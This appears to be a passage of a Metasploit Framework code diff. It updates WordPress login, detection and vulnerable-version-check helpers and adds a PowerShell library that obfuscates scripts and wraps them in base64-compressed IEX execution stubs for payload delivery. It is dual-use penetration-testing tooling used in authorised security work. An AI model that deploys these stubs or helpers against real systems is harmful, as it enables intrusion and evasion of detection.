|
||||
if e_match.nil?
|
||||
vprint_error('Can not find rsa_e value')
|
||||
return nil
|
||||
end
|
||||
e = e_match[1]
|
||||
|
||||
n_match = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)
|
||||
if n_match.nil?
|
||||
vprint_error('Can not find rsa_n value')
|
||||
return nil
|
||||
end
|
||||
n = n_match[1]
|
||||
|
||||
vprint_debug("e: #{e}")
|
||||
vprint_debug("n: #{n}")
|
||||
rsa_enc = typo3_helper_login_rsa(e, n, pass)
|
||||
|
@ -25,10 +25,20 @@ module Msf
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
|
||||
], HTTP::Wordpress
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/'])
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content'])
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
end
|
||||
|
||||
def wp_content_dir
|
||||
datastore['WPCONTENTDIR']
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -1,28 +1,23 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::Wordpress::Base
|
||||
|
||||
# Checks if the site is online and running wordpress
|
||||
#
|
||||
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
|
||||
def wordpress_and_online?
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
return res if res and
|
||||
res.code == 200 and
|
||||
(
|
||||
res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
|
||||
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or
|
||||
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i
|
||||
)
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Error connecting to #{target_uri}")
|
||||
return nil
|
||||
end
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
)
|
||||
wordpress_detect_regexes = [
|
||||
/["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i,
|
||||
/<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i,
|
||||
/<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'](?: \/)*>/i
|
||||
]
|
||||
return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r }
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
print_error("#{peer} - Error connecting to #{target_uri}: #{e}")
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -49,7 +49,7 @@ module Msf::HTTP::Wordpress::Helpers
|
||||
options.merge!({'vars_post' => vars_post})
|
||||
options.merge!({'cookie' => login_cookie}) if login_cookie
|
||||
res = send_request_cgi(options)
|
||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
if res && res.redirect? && res.redirection
|
||||
return wordpress_helper_parse_location_header(res)
|
||||
else
|
||||
message = "#{peer} - Post comment failed."
|
||||
@ -101,7 +101,7 @@ module Msf::HTTP::Wordpress::Helpers
|
||||
else
|
||||
return res.body
|
||||
end
|
||||
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
elsif res && res.redirect? && res.redirection
|
||||
path = wordpress_helper_parse_location_header(res)
|
||||
return wordpress_helper_check_post_id(path, comments_enabled, login_cookie)
|
||||
end
|
||||
@ -113,9 +113,9 @@ module Msf::HTTP::Wordpress::Helpers
|
||||
# @param res [Rex::Proto::Http::Response] The HTTP response
|
||||
# @return [String,nil] the path and query, nil on error
|
||||
def wordpress_helper_parse_location_header(res)
|
||||
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
return nil unless res && res.redirect? && res.redirection
|
||||
|
||||
location = res.headers['Location']
|
||||
location = res.redirection
|
||||
path_from_uri(location)
|
||||
end
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Login
|
||||
|
||||
module Msf::HTTP::Wordpress::Login
|
||||
# performs a wordpress login
|
||||
#
|
||||
# @param user [String] Username
|
||||
@ -8,21 +8,23 @@ module Msf::HTTP::Wordpress::Login
|
||||
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
|
||||
def wordpress_login(user, pass)
|
||||
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_login,
|
||||
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
|
||||
})
|
||||
|
||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
|
||||
)
|
||||
if res && res.redirect? && res.redirection && res.redirection.to_s == redirect
|
||||
cookies = res.get_cookies
|
||||
# Check if a valid wordpress cookie is returned
|
||||
return cookies if cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
|
||||
return cookies if
|
||||
# current Wordpress
|
||||
cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
|
||||
# Wordpress 2.0
|
||||
cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i ||
|
||||
# Wordpress 2.5
|
||||
cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i
|
||||
end
|
||||
|
||||
return nil
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -112,7 +112,7 @@ module Msf::HTTP::Wordpress::Posts
|
||||
count = max_redirects
|
||||
|
||||
# Follow redirects
|
||||
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
|
||||
while res.redirect? && res.redirection && count != 0
|
||||
path = wordpress_helper_parse_location_header(res)
|
||||
return nil unless path
|
||||
|
||||
|
@ -80,4 +80,32 @@ module Msf::HTTP::Wordpress::URIs
|
||||
normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
|
||||
end
|
||||
|
||||
# Returns the Wordpress wp-content dir URL
|
||||
#
|
||||
# @return [String] Wordpress wp-content dir URL
|
||||
def wordpress_url_wp_content
|
||||
normalize_uri(target_uri.path, wp_content_dir)
|
||||
end
|
||||
|
||||
# Returns the Wordpress plugins dir URL
|
||||
#
|
||||
# @return [String] Wordpress plugins dir URL
|
||||
def wordpress_url_plugins
|
||||
normalize_uri(wordpress_url_wp_content, 'plugins')
|
||||
end
|
||||
|
||||
# Returns the Wordpress themes dir URL
|
||||
#
|
||||
# @return [String] Wordpress themes dir URL
|
||||
def wordpress_url_themes
|
||||
normalize_uri(wordpress_url_wp_content, 'themes')
|
||||
end
|
||||
|
||||
# Returns the Wordpress XMLRPC URL
|
||||
#
|
||||
# @return [String] Wordpress XMLRPC URL
|
||||
def wordpress_url_xmlrpc
|
||||
normalize_uri(target_uri.path, 'xmlrpc.php')
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -33,7 +33,7 @@ module Msf::HTTP::Wordpress::Users
|
||||
'uri' => url
|
||||
})
|
||||
|
||||
if res and res.code == 301
|
||||
if res and res.redirect?
|
||||
uri = wordpress_helper_parse_location_header(res)
|
||||
return nil unless uri
|
||||
# try to extract username from location
|
||||
|
@ -2,63 +2,124 @@
|
||||
|
||||
module Msf::HTTP::Wordpress::Version
|
||||
|
||||
# Used to check if the version is correct: must contain at least one dot
|
||||
WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)'
|
||||
|
||||
# Extracts the Wordpress version information from various sources
|
||||
#
|
||||
# @return [String,nil] Wordpress version if found, nil otherwise
|
||||
def wordpress_version
|
||||
# detect version from generator
|
||||
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{wordpress_version_pattern}" \/>/i)
|
||||
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{WORDPRESS_VERSION_PATTERN}" \/>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from readme
|
||||
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{wordpress_version_pattern}/i)
|
||||
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{WORDPRESS_VERSION_PATTERN}/i)
|
||||
return version if version
|
||||
|
||||
# detect version from rss
|
||||
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}<\/generator>/i)
|
||||
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}<\/generator>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from rdf
|
||||
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}" \/>/i)
|
||||
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}" \/>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from atom
|
||||
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{wordpress_version_pattern}">WordPress<\/generator>/i)
|
||||
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{WORDPRESS_VERSION_PATTERN}">WordPress<\/generator>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from sitemap
|
||||
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{wordpress_version_pattern}"/i)
|
||||
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i)
|
||||
return version if version
|
||||
|
||||
# detect version from opml
|
||||
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{wordpress_version_pattern}"/i)
|
||||
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i)
|
||||
return version if version
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Used to check if the version is correct: must contain at least one dot.
|
||||
# Checks a readme for a vulnerable version
|
||||
#
|
||||
# @return [ String ]
|
||||
def wordpress_version_pattern
|
||||
'([^\r\n"\']+\.[^\r\n"\']+)'
|
||||
# @param [String] plugin_name The name of the plugin
|
||||
# @param [String] fixed_version The version the vulnerability was fixed in
|
||||
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||
#
|
||||
# @return [ Msf::Exploit::CheckCode ]
|
||||
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
|
||||
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
|
||||
end
|
||||
|
||||
# Checks a readme for a vulnerable version
|
||||
#
|
||||
# @param [String] theme_name The name of the theme
|
||||
# @param [String] fixed_version The version the vulnerability was fixed in
|
||||
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||
#
|
||||
# @return [ Msf::Exploit::CheckCode ]
|
||||
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
|
||||
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def wordpress_version_helper(url, regex)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
})
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
)
|
||||
if res
|
||||
match = res.body.match(regex)
|
||||
if match
|
||||
return match[1]
|
||||
end
|
||||
return match[1] if match
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
|
||||
case type
|
||||
when :plugin
|
||||
folder = 'plugins'
|
||||
when :theme
|
||||
folder = 'themes'
|
||||
else
|
||||
fail("Unknown readme type #{type}")
|
||||
end
|
||||
|
||||
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'readme.txt')
|
||||
res = send_request_cgi(
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
# no readme.txt present
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
|
||||
# try to extract version from readme
|
||||
# Example line:
|
||||
# Stable tag: 2.6.6
|
||||
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
|
||||
|
||||
# readme present, but no version number
|
||||
return Msf::Exploit::CheckCode::Detected if version.nil?
|
||||
|
||||
vprint_status("#{peer} - Found version #{version} of the #{type}")
|
||||
|
||||
# Version older than fixed version
|
||||
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
|
||||
if vuln_introduced_version.nil?
|
||||
# All versions are vulnerable
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
# vuln_introduced_version provided, check if version is newer
|
||||
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
else
|
||||
# Not in range, nut vulnerable
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
# version newer than fixed version
|
||||
else
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -670,6 +670,14 @@ class Core
|
||||
if(framework.sessions.length > 0 and not forced)
|
||||
print_status("You have active sessions open, to exit anyway type \"exit -y\"")
|
||||
return
|
||||
elsif(driver.confirm_exit and not forced)
|
||||
print("Are you sure you want to exit Metasploit? [y/N]: ")
|
||||
response = gets.downcase.chomp
|
||||
if(response == "y" || response == "yes")
|
||||
driver.stop
|
||||
else
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
driver.stop
|
||||
|
@ -1855,7 +1855,7 @@ class Db
|
||||
# Miscellaneous option helpers
|
||||
#
|
||||
|
||||
# Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+
|
||||
# Parse +arg+ into a {Rex::Socket::RangeWalker} and append the result into +host_ranges+
|
||||
#
|
||||
# @note This modifies +host_ranges+ in place
|
||||
#
|
||||
|
@ -158,6 +158,9 @@ class Driver < Msf::Ui::Driver
|
||||
# Whether or not command passthru should be allowed
|
||||
self.command_passthru = (opts['AllowCommandPassthru'] == false) ? false : true
|
||||
|
||||
# Whether or not to confirm before exiting
|
||||
self.confirm_exit = (opts['ConfirmExit'] == true) ? true : false
|
||||
|
||||
# Disables "dangerous" functionality of the console
|
||||
@defanged = opts['Defanged'] == true
|
||||
|
||||
@ -602,6 +605,10 @@ class Driver < Msf::Ui::Driver
|
||||
# The framework instance associated with this driver.
|
||||
#
|
||||
attr_reader :framework
|
||||
#
|
||||
# Whether or not to confirm before exiting
|
||||
#
|
||||
attr_reader :confirm_exit
|
||||
#
|
||||
# Whether or not commands can be passed through.
|
||||
#
|
||||
@ -638,6 +645,7 @@ class Driver < Msf::Ui::Driver
|
||||
protected
|
||||
|
||||
attr_writer :framework # :nodoc:
|
||||
attr_writer :confirm_exit # :nodoc:
|
||||
attr_writer :command_passthru # :nodoc:
|
||||
|
||||
#
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
here = File.expand_path(File.dirname(__FILE__))
|
||||
|
||||
|
@ -1084,17 +1084,18 @@ require 'msf/core/exe/segment_injector'
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh_net(framework, code, opts={})
|
||||
hash_sub = {}
|
||||
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:var_code)
|
||||
rig.init_var(:var_kernel32)
|
||||
rig.init_var(:var_baseaddr)
|
||||
rig.init_var(:var_threadHandle)
|
||||
rig.init_var(:var_output)
|
||||
rig.init_var(:var_codeProvider)
|
||||
rig.init_var(:var_compileParams)
|
||||
rig.init_var(:var_syscode)
|
||||
rig.init_var(:var_temp)
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||
|
||||
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/poly/machine'
|
||||
|
||||
|
62
lib/rex/exploitation/powershell.rb
Normal file
62
lib/rex/exploitation/powershell.rb
Normal file
@ -0,0 +1,62 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/exploitation/powershell/output'
|
||||
require 'rex/exploitation/powershell/parser'
|
||||
require 'rex/exploitation/powershell/obfu'
|
||||
require 'rex/exploitation/powershell/param'
|
||||
require 'rex/exploitation/powershell/function'
|
||||
require 'rex/exploitation/powershell/script'
|
||||
require 'rex/exploitation/powershell/psh_methods'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
#
|
||||
# Reads script into a PowershellScript
|
||||
#
|
||||
# @param script_path [String] Path to the Script File
|
||||
#
|
||||
# @return [Script] Powershell Script object
|
||||
def self.read_script(script_path)
|
||||
Rex::Exploitation::Powershell::Script.new(script_path)
|
||||
end
|
||||
|
||||
#
|
||||
# Insert substitutions into the powershell script
|
||||
# If script is a path to a file then read the file
|
||||
# otherwise treat it as the contents of a file
|
||||
#
|
||||
# @param script [String] Script file or path to script
|
||||
# @param subs [Array] Substitutions to insert
|
||||
#
|
||||
# @return [String] Modified script file
|
||||
def self.make_subs(script, subs)
|
||||
if ::File.file?(script)
|
||||
script = ::File.read(script)
|
||||
end
|
||||
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0], set[1])
|
||||
end
|
||||
|
||||
script
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of substitutions for use in make_subs
|
||||
#
|
||||
# @param subs [String] A ; seperated list of substitutions
|
||||
#
|
||||
# @return [Array] An array of substitutions
|
||||
def self.process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
|
||||
new_subs
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
63
lib/rex/exploitation/powershell/function.rb
Normal file
63
lib/rex/exploitation/powershell/function.rb
Normal file
@ -0,0 +1,63 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Function
|
||||
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
|
||||
PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
|
||||
attr_accessor :code, :name, :params
|
||||
|
||||
include Output
|
||||
include Parser
|
||||
include Obfu
|
||||
|
||||
def initialize(name, code)
|
||||
@name = name
|
||||
@code = code
|
||||
populate_params
|
||||
end
|
||||
|
||||
#
|
||||
# To String
|
||||
#
|
||||
# @return [String] Powershell function
|
||||
def to_s
|
||||
"function #{name} #{code}"
|
||||
end
|
||||
|
||||
#
|
||||
# Identify the parameters from the code and
|
||||
# store as Param in @params
|
||||
#
|
||||
def populate_params
|
||||
@params = []
|
||||
start = code.index(PARAMETER_REGEX)
|
||||
return unless start
|
||||
# Get start of our block
|
||||
idx = scan_with_index('(', code[start..-1]).first.last + start
|
||||
pclause = block_extract(idx)
|
||||
|
||||
matches = pclause.scan(FUNCTION_REGEX)
|
||||
|
||||
# Ignore assignment, create params with class and variable names
|
||||
matches.each do |param|
|
||||
klass = nil
|
||||
name = nil
|
||||
param.each do |value|
|
||||
if value
|
||||
if klass
|
||||
name = value
|
||||
@params << Param.new(klass, name)
|
||||
break
|
||||
else
|
||||
klass = value
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
98
lib/rex/exploitation/powershell/obfu.rb
Normal file
98
lib/rex/exploitation/powershell/obfu.rb
Normal file
@ -0,0 +1,98 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Obfu
|
||||
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
|
||||
SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
|
||||
WINDOWS_EOL_REGEX = Regexp.new(/[\r\n]+/)
|
||||
UNIX_EOL_REGEX = Regexp.new(/[\n]+/)
|
||||
WHITESPACE_REGEX = Regexp.new(/\s+/)
|
||||
EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
|
||||
|
||||
#
|
||||
# Remove comments
|
||||
#
|
||||
# @return [String] code without comments
|
||||
def strip_comments
|
||||
# Multi line
|
||||
code.gsub!(MULTI_LINE_COMMENTS_REGEX, '')
|
||||
# Single line
|
||||
code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '')
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Remove empty lines
|
||||
#
|
||||
# @return [String] code without empty lines
|
||||
def strip_empty_lines
|
||||
# Windows EOL
|
||||
code.gsub!(WINDOWS_EOL_REGEX, "\r\n")
|
||||
# UNIX EOL
|
||||
code.gsub!(UNIX_EOL_REGEX, "\n")
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Remove whitespace
|
||||
# This can break some codes using inline .NET
|
||||
#
|
||||
# @return [String] code with whitespace stripped
|
||||
def strip_whitespace
|
||||
code.gsub!(WHITESPACE_REGEX, ' ')
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Identify variables and replace them
|
||||
#
|
||||
# @return [String] code with variable names replaced with unique values
|
||||
def sub_vars
|
||||
# Get list of variables, remove reserved
|
||||
get_var_names.each do |var, _sub|
|
||||
code.gsub!(var, "$#{@rig.init_var(var)}")
|
||||
end
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Identify function names and replace them
|
||||
#
|
||||
# @return [String] code with function names replaced with unique
|
||||
# values
|
||||
def sub_funcs
|
||||
# Find out function names, make map
|
||||
get_func_names.each do |var, _sub|
|
||||
code.gsub!(var, @rig.init_var(var))
|
||||
end
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Perform standard substitutions
|
||||
#
|
||||
# @return [String] code with standard substitution methods applied
|
||||
def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars))
|
||||
# Save us the trouble of breaking injected .NET and such
|
||||
subs.delete('strip_whitespace') unless get_string_literals.empty?
|
||||
# Run selected modifiers
|
||||
subs.each do |modifier|
|
||||
send(modifier)
|
||||
end
|
||||
code.gsub!(EMPTY_LINE_REGEX, '')
|
||||
|
||||
code
|
||||
end
|
||||
end # Obfu
|
||||
end
|
||||
end
|
||||
end
|
151
lib/rex/exploitation/powershell/output.rb
Normal file
151
lib/rex/exploitation/powershell/output.rb
Normal file
@ -0,0 +1,151 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'zlib'
|
||||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Output
|
||||
#
|
||||
# To String
|
||||
#
|
||||
# @return [String] Code
|
||||
def to_s
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Returns code size
|
||||
#
|
||||
# @return [Integer] Code size
|
||||
def size
|
||||
code.size
|
||||
end
|
||||
|
||||
#
|
||||
# Return code with numbered lines
|
||||
#
|
||||
# @return [String] Powershell code with line numbers
|
||||
def to_s_lineno
|
||||
numbered = ''
|
||||
code.split(/\r\n|\n/).each_with_index do |line, idx|
|
||||
numbered << "#{idx}: #{line}"
|
||||
end
|
||||
|
||||
numbered
|
||||
end
|
||||
|
||||
#
|
||||
# Return a zlib compressed powershell code wrapped in decode stub
|
||||
#
|
||||
# @param eof [String] End of file identifier to append to code
|
||||
#
|
||||
# @return [String] Zlib compressed powershell code wrapped in
|
||||
# decompression stub
|
||||
def deflate_code(eof = nil)
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = ::Zlib::Deflate.deflate(code,
|
||||
::Zlib::BEST_COMPRESSION)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = '$s=New-Object IO.MemoryStream(,'
|
||||
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
||||
# Read & delete the first two bytes due to incompatibility with MS
|
||||
psh_expression << '$s.ReadByte();'
|
||||
psh_expression << '$s.ReadByte();'
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression << 'IEX (New-Object IO.StreamReader('
|
||||
psh_expression << 'New-Object IO.Compression.DeflateStream('
|
||||
psh_expression << '$s,'
|
||||
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
|
||||
psh_expression << ')).ReadToEnd();'
|
||||
|
||||
# If eof is set, add a marker to signify end of code output
|
||||
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
psh_expression << "echo '#{eof}';" if eof
|
||||
|
||||
@code = psh_expression
|
||||
end
|
||||
|
||||
#
|
||||
# Return Base64 encoded powershell code
|
||||
#
|
||||
# @return [String] Base64 encoded powershell code
|
||||
def encode_code
|
||||
@code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
|
||||
end
|
||||
|
||||
#
|
||||
# Return a gzip compressed powershell code wrapped in decoder stub
|
||||
#
|
||||
# @param eof [String] End of file identifier to append to code
|
||||
#
|
||||
# @return [String] Gzip compressed powershell code wrapped in
|
||||
# decompression stub
|
||||
def gzip_code(eof = nil)
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = Rex::Text.gzip(code)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = '$s=New-Object IO.MemoryStream(,'
|
||||
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression << 'IEX (New-Object IO.StreamReader('
|
||||
psh_expression << 'New-Object IO.Compression.GzipStream('
|
||||
psh_expression << '$s,'
|
||||
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
|
||||
psh_expression << ')).ReadToEnd();'
|
||||
|
||||
# If eof is set, add a marker to signify end of code output
|
||||
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
psh_expression << "echo '#{eof}';" if eof
|
||||
|
||||
@code = psh_expression
|
||||
end
|
||||
|
||||
#
|
||||
# Compresses script contents with gzip (default) or deflate
|
||||
#
|
||||
# @param eof [String] End of file identifier to append to code
|
||||
# @param gzip [Boolean] Whether to use gzip compression or deflate
|
||||
#
|
||||
# @return [String] Compressed code wrapped in decompression stub
|
||||
def compress_code(eof = nil, gzip = true)
|
||||
@code = gzip ? gzip_code(eof) : deflate_code(eof)
|
||||
end
|
||||
|
||||
#
|
||||
# Reverse the compression process
|
||||
# Try gzip, inflate if that fails
|
||||
#
|
||||
# @return [String] Decompressed powershell code
|
||||
def decompress_code
|
||||
# Extract substring with payload
|
||||
encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
|
||||
# Decode and decompress the string
|
||||
unencoded = Rex::Text.decode_base64(encoded_stream)
|
||||
begin
|
||||
@code = Rex::Text.ungzip(unencoded) || Rex::Text.zlib_inflate(unencoded)
|
||||
rescue Zlib::GzipFile::Error
|
||||
begin
|
||||
@code = Rex::Text.zlib_inflate(unencoded)
|
||||
rescue Zlib::DataError => e
|
||||
raise RuntimeError, 'Invalid compression'
|
||||
end
|
||||
end
|
||||
|
||||
@code
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
23
lib/rex/exploitation/powershell/param.rb
Normal file
23
lib/rex/exploitation/powershell/param.rb
Normal file
@ -0,0 +1,23 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Param
|
||||
attr_accessor :klass, :name
|
||||
def initialize(klass, name)
|
||||
@klass = klass.strip
|
||||
